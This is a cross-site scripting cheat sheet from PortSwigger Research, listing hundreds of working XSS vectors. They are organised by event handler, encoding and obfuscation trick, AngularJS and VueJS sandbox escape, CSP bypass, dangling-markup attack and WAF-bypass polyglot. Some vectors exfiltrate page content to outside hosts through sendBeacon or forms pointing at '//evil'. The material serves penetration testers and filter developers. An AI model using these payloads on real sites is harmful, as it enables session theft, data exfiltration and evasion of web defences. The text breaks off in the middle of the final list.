Cross-site scripting (XSS) cheat sheet
This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.
You can download a PDF version of the XSS cheat sheet.
This cheat sheet was brought to by PortSwigger Research. Follow us on twitter to recieve updates.
This cheat sheet is regularly updated in 2020. Last updated: Mon, 21 Sep 2020 14:09:36 +0000.
Table of contents
Event handlers
Event handlers that do not require user interaction
Event:
Description:
Tag:
Code:
Copy:
onactivate
onafterprint
onafterscriptexecute
onanimationcancel
Fires when a CSS animation cancels
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="alert(1)"></xss>
Compatibility:
onanimationend
Fires when a CSS animation ends
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
Compatibility:
onanimationiteration
Fires when a CSS animation repeats
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
Compatibility:
onanimationstart
Fires when a CSS animation starts
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
Compatibility:
onbeforeactivate
Fires before the element is activated
<xss id=x tabindex=1 onbeforeactivate=alert(1)></xss>
Compatibility:
onbeforedeactivate
Fires before the element is deactivated
<xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus>
Compatibility:
onbeforeprint
onbeforescriptexecute
Fires before script is executed
<xss onbeforescriptexecute=alert(1)><script>1</script>
Compatibility:
onbeforeunload
Fires after if the url changes
<body onbeforeunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
Compatibility:
onbegin
Fires when a svg animation begins
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
Compatibility:
onblur
Fires when an element loses focus
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
Compatibility:
onbounce
Fires when the marquee bounces
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
Compatibility:
oncanplay
Fires if the resource can be played
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
oncanplaythrough
Fires when enough data has been loaded to play the resource all the way through
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
Compatibility:
oncuechange
ondeactivate
Fires when the element is deactivated
<xss id=x tabindex=1 ondeactivate=alert(1)></xss><input id=y autofocus>
Compatibility:
ondurationchange
Fires when duration changes
<audio controls ondurationchange=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
Compatibility:
onend
onended
Fires when the resource is finished playing
<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onerror
Fires when the resource fails to load or causes an error
<audio src/onerror=alert(1)>
Compatibility:
onfinish
Fires when the marquee finishes
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
Compatibility:
onfocus
onfocusin
onfocusout
Fires when an element loses focus
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
Compatibility:
onhashchange
onload
onloadeddata
Fires when the first frame is loaded
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onloadedmetadata
Fires when the meta data is loaded
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onloadend
Fires when the element finishes loading
<image src=validimage.png onloadend=alert(1)>
Compatibility:
onloadstart
Fires when the element begins to load
<image src=validimage.png onloadstart=alert(1)>
Compatibility:
onmessage
Fires when message event is received from a postMessage call
<body onmessage=alert(1)>
Compatibility:
onpageshow
onplay
Fires when the resource is played
<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onplaying
Fires the resource is playing
<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onpopstate
onprogress
Fires when the video/audio begins downloading
<audio controls onprogress=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
Compatibility:
onreadystatechange
onrepeat
Fires when a svg animation repeats
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
Compatibility:
onresize
onscroll
Fires when the page scrolls
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
Compatibility:
onstart
ontimeupdate
Fires when the timeline is changed
<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
ontoggle
Fires when the details tag is expanded
<details ontoggle=alert(1) open>test</details>
Compatibility:
ontransitioncancel
Fires when a CSS transition cancels
<style>:target {color: red;}</style><xss id=x style="transition:color 10s" ontransitioncancel=alert(1)></xss>
Compatibility:
ontransitionend
Fires when a CSS transition ends
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionend=alert(1)></xss>
Compatibility:
ontransitionrun
Fires when a CSS transition begins
<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=alert(1)></xss>
Compatibility:
ontransitionstart
Fires when a CSS transition starts
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionstart=alert(1)></xss>
Compatibility:
onunhandledrejection
Fires when a promise isn't handled
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
Compatibility:
onunload
Fires when the page is unloaded
<body onunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
Compatibility:
onwaiting
Fires when while waiting for the data
<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video>
Compatibility:
onwebkitanimationend
Fires when a CSS animation ends
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>
Compatibility:
onwebkitanimationiteration
Fires when a CSS animation repeats
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></xss>
Compatibility:
onwebkitanimationstart
Fires when a CSS animation starts
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>
Compatibility:
onwebkittransitionend
Fires when a CSS transition ends
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)></xss>
Compatibility:
Event handlers that do require user interaction
Event:
Description:
Tag:
Code:
Copy:
onauxclick
Fires when right clicking or using the middle button of the mouse
<input onauxclick=alert(1)>
Compatibility:
onbeforecopy
Requires you copy a piece of text
<a onbeforecopy="alert(1)" contenteditable>test</a>
Compatibility:
onbeforecut
onbeforepaste
Requires you paste a piece of text
<a onbeforepaste="alert(1)" contenteditable>test</a>
Compatibility:
onchange
onclick
onclose
Fires when a dialog is closed
<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>
Compatibility:
oncontextmenu
Triggered when right clicking to show the context menu
<xss oncontextmenu="alert(1)">test</xss>
Compatibility:
oncopy
Requires you copy a piece of text
<xss oncopy=alert(1) value="XSS" autofocus tabindex=1>test
Compatibility:
oncut
Requires you cut a piece of text
<xss oncut=alert(1) value="XSS" autofocus tabindex=1>test
Compatibility:
ondblclick
Triggered when double clicking the element
<xss ondblclick="alert(1)" autofocus tabindex=1>test</xss>
Compatibility:
ondrag
ondragend
Triggered dragging is finished on the element
<xss draggable="true" ondragend="alert(1)">test</xss>
Compatibility:
ondragenter
ondragleave
ondragover
Triggered dragging over an element
<div draggable="true" contenteditable>drag me</div><xss ondragover=alert(1) contenteditable>drop here</xss>
Compatibility:
ondragstart
ondrop
Triggered dropping a draggable element
<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1) contenteditable>drop here</xss>
Compatibility:
onfullscreenchange
Fires when a video changes full screen status
<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
Compatibility:
oninput
oninvalid
Requires a form submission with an element that does not satisfy its constraints such as a required attribute.
<form><input oninvalid=alert(1) required><input type=submit>
Compatibility:
onkeydown
onkeypress
Triggered when a key is pressed
<xss onkeypress="alert(1)" contenteditable>test</xss>
Compatibility:
onkeyup
onmousedown
onmouseenter
Triggered when the mouse is hovered over the element
<xss onmouseenter="alert(1)">test</xss>
Compatibility:
onmouseleave
Triggered when the mouse is moved away from the element
<xss onmouseleave="alert(1)">test</xss>
Compatibility:
onmousemove
onmouseout
Triggered when the mouse is moved away from the element
<xss onmouseout="alert(1)">test</xss>
Compatibility:
onmouseover
onmouseup
onmousewheel
onmozfullscreenchange
Fires when a video changes full screen status
<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>
Compatibility:
onpagehide
Fires when the page is changed
<body onpagehide=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
Compatibility:
onpaste
onpause
Requires clicking the element to pause
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerrawupdate
onpointerup
onreset
onsearch
Fires when a form is submitted and the input has a type attribute of search
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
Compatibility:
onseeked
Requires clicking the element timeline
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onseeking
Requires clicking the element timeline
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onselect
onselectionchange
Fires when text selection is changed on the page
<body onselectionchange=alert(1)>select some text
Compatibility:
onselectstart
onshow
Fires context menu is shown
<div contextmenu=xss><p>Right click<menu type=context id=xss onshow=alert(1)></menu></div>
Compatibility:
onsubmit
ontouchend
ontouchmove
ontouchstart
onvolumechange
Requires volume adjustment
<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onwheel
Restricted characters
No parentheses using exception handling no semi colons using expressions
<script>throw onerror=alert,1</script>
No parentheses using exception handling and eval
<script>throw onerror=eval,'=alert\x281\x29'</script>
No parentheses using exception handling and eval on Firefox
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
No parentheses using ES6 hasInstance and instanceof with eval
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
No parentheses using ES6 hasInstance and instanceof with eval without .
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
No parentheses using template strings and location hash
<script>new Function`X${document.location.hash.substr`1`}`</script>
No parentheses or spaces, using template strings and location hash
<script>Function`X${document.location.hash.substr`1`}```</script>
Frameworks
Protocols
Characters \x09,\x0a,\x0d are allowed after protocol name before the colon
<a href="javascript
:alert(1)">XSS</a>
Xlink namespace inside SVG with JavaScript protocol
<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
SVG animate tag using values
<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
SVG animate tag using to
<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>
SVG script href attribute without closing script tag
<svg><script href="data:text/javascript,alert(1)" />
SVG use element Chrome/Firefox
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
Base tag with JavaScript protocol rewriting relative URLS
<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>
Use element with an external URL
<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>
Other useful attributes
Click a submit element from anywhere on the page, even outside the form
<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements
<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Link elements: Access key attributes can enable XSS on normally unexploitable elements
<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Download attribute can save a copy of the current webpage
<a href=# download="filename.html">Test</a>
Disable referrer using referrerpolicy
<img referrerpolicy="no-referrer" src="//portswigger-labs.net">
Set window.name via parameter on the window.open function
<a href=# onclick="window.open('http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//','alert(1)')">XSS</a>
Set window.name via name attribute in a <iframe> tag
<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>
Set window.name via target attribute in a <base> tag
<base target="alert(1)"><a href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in base tag</a>
Set window.name via target attribute in a <a> tag
<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in a tag</a>
Set window.name via usemap attribute in a <img> tag
<img src="validimage.png" width="10" height="10" usemap="#xss"><map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>
Set window.name via target attribute in a <form> tag
<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>
Set window.name via formtarget attribute in a <input> tag type submit
<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type submit"></form>
Set window.name via formtarget attribute in a <input> tag type image
<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input name=1 type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type image"></form>
Special tags
Meta charset UTF-7
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 1
+/v8
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 2
+/v9
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 3
+/v+
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 4
+/v/
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
Upgrade insecure requests
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
Encoding
Octal encoding
<script>eval('\141lert(1)')</script>
<script>eval('alert(\061)')</script>
<script>eval('alert(\61)')</script>
Decimal encoding with optional semi-colon
<a href="javascript:alert(1)">XSS</a><a href="javascript:alert(1)">XSS</a>
SVG script with HTML encoding
<svg><script>alert(1)</script></svg>
<svg><script>alert(1)</script></svg>
<svg><script>alert
(1)</script></svg>
<svg><script>x="",alert(1)//";</script></svg>
Hex encoding without semi-colon provided next character is not a-f0-9
<a href="javascript:alert(1)">XSS</a>
<a href="j
avascript:alert(1)">XSS</a>
<a href="j avascript:alert(1)">XSS</a>
Obfuscation
Data protocol inside script src with base64
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
Data protocol inside script src with base64 and HTML entities
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
Data protocol inside script src with base64 and URL encoding
<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
Iframe srcdoc HTML encoded
<iframe srcdoc=<script>alert(1)</script>></iframe>
Client-side template injection
VueJS reflected
Version:
Author:
Length:
Vector:
Copy:
All versions
Mario Heiderich (Cure53) & Sebastian Lekies (Google) Eduardo Vela Nava (Google) Krzysztof Kotowicz (Google)
62
<div v-html="''.constructor.constructor('alert(1)')()">a</div>
All versions
Peter af Geijerstam (Swedish Shellcode Factory)
37
<x v-if=_c.constructor('alert(1)')()>
AngularJS sandbox escapes reflected
Version:
Author:
Length:
Vector:
Copy:
1.0.1 - 1.1.5 (shorter)
Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)
33
{{$on.constructor('alert(1)')()}}
1.2.0 - 1.2.1
Jan Horn (Google)
122
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.2.6 - 1.2.18
Jan Horn (Google)
106
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.19 - 1.2.23
Mathias Karlsson (Detectify)
124
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.3.0
Gábor Molnár (Google)
272
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}
1.3.3 - 1.3.18
Gareth Heyes (PortSwigger)
128
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}
1.3.19
Gareth Heyes (PortSwigger)
102
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}
1.3.20
Gareth Heyes (PortSwigger)
65
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0 - 1.4.9
Gareth Heyes (PortSwigger)
74
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 - 1.5.8
Ian Hickey & Gareth Heyes (PortSwigger)
79
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
1.5.9 - 1.5.11
Jan Horn (Google)
517
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
>=1.6.0 (shorter)
Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)
33
{{$on.constructor('alert(1)')()}}
DOM based AngularJS sandbox escapes
(Using orderBy or no $eval)
Version:
Author:
Length:
Vector:
Copy:
1.2.0 - 1.2.18
Jan Horn (Google)
118
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
1.2.19 - 1.2.23
Mathias Karlsson (Detectify)
119
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)
1.2.24 - 1.2.26
Gareth Heyes (PortSwigger)
317
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()
1.4.0-1.4.5
Gareth Heyes (PortSwigger)
75
'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//';
1.4.4 (without strings)
Gareth Heyes (PortSwigger)
134
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
AngularJS CSP bypasses
Version:
Author:
Length:
Vector:
Copy:
All versions (Chrome)
Gareth Heyes (PortSwigger)
81
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
All versions (Chrome) shorter
Gareth Heyes (PortSwigger)
56
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>
All versions (all browsers) shorter
Gareth Heyes (PortSwigger)
91
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
1.2.0 - 1.5.0
Eduardo Vela (Google)
190
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
All versions (Chrome) shorter via oncut
Savan Gadhiya (NotSoSecure)
49
<input ng-cut=$event.path|orderBy:'(y=alert)(1)'>
Scriptless attacks
Dangling markup
Button using formaction
<form><button style="width:100%;height:100%" type=submit formaction="//evil?
Input using formaction
<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?
Use textarea to consume markup and post to external site
<form><button formaction=//evil>XSS</button><textarea name=x>
Pass markup data through window.name using form target
<button form=x>XSS</button><form id=x action=//evil target='
Pass markup data through window.name using base target
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="
Pass markup data through window.name using formtarget
<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="
Using base href to pass data
<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/
Using embed window name to pass data from the page
<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
Using iframe window name to pass data from the page
<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
Using object window name to pass data from the page
<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
Using frame window name to pass data from the page
<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
Polyglots
WAF bypass global objects
XSS into a JavaScript string: string concatenation (window)
';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (self)
';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (this)
';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (top)
';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (parent)
';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (frames)
';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (globalThis)
';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: comment syntax (window)
';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (self)
';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (this)
';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (top)
';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (parent)
';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (frames)
';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (globalThis)
';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: hex escape sequence (window)
';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (self)
';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (this)
';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (top)
';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (parent)
';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (frames)
';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (globalThis)
';globalThis['\x61\x6c\x65\x72\x74'](globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)
';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)
';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)
';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)
';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)
';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)
';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)
';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: octal escape sequence (window)
';window['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (self)
';self['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (this)
';this['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (top)
';top['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (parent)
';parent['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (frames)
';frames['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (globalThis)
';globalThis['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: unicode escape (window)
';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (self)
';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (this)
';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (top)
';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (parent)
';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (frames)
';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (globalThis)
';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: RegExp source property (window)
';window[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (self)
';self[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (this)
';this[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (top)
';top[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (parent)
';parent[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (frames)
';frames[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (globalThis)
';globalThis[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (window)
';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (self)
';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (this)
